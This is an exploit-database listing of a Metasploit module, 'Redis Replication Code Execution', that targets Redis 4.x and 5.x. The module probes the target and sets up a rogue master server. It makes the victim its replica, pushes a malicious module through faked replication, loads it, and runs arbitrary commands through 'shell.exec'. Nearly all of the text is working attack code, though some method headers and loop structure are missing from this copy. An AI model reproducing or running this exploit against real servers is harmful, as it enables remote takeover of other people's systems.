Exploits / Vulnerability Discovered : 2020-03-31 |
Type : remote |
Platform : linux
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
include Msf::Module::Deprecated
def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Replication Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added since Redis 4.0.0
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end
#
# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
unless redis_version
print_error('Cannot retrieve redis version, please check it manually')
return Exploit::CheckCode::Unknown
end
# Only vulnerable to version 4.x or 5.x
version = Gem::Version.new(redis_version)
if version >= Gem::Version.new('4.0.0')
vprint_status("Redis version is #{redis_version}")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
ensure
disconnect
end
def has_check?
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
end
if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
end
#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end
# start the rogue server
start_rogue_server
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')
# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger
#
# We pretend to be a real redis server, and then slave the victim.
#
def start_rogue_server
begin
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rescue Rex::BindFailed
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
print_status("Listening on 0.0.0.0:#{srvport}")
socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
end
rsock = socket.accept()
vprint_status('Accepted a connection')
case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end
rsock.put(response)
if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end
def pull_the_trigger
if check_custom
redis_command("#{@module_cmd}")
else
execute_cmdstager
end
end
#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
#
# Generate source code file of payload to be compiled dynamicly.
#
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end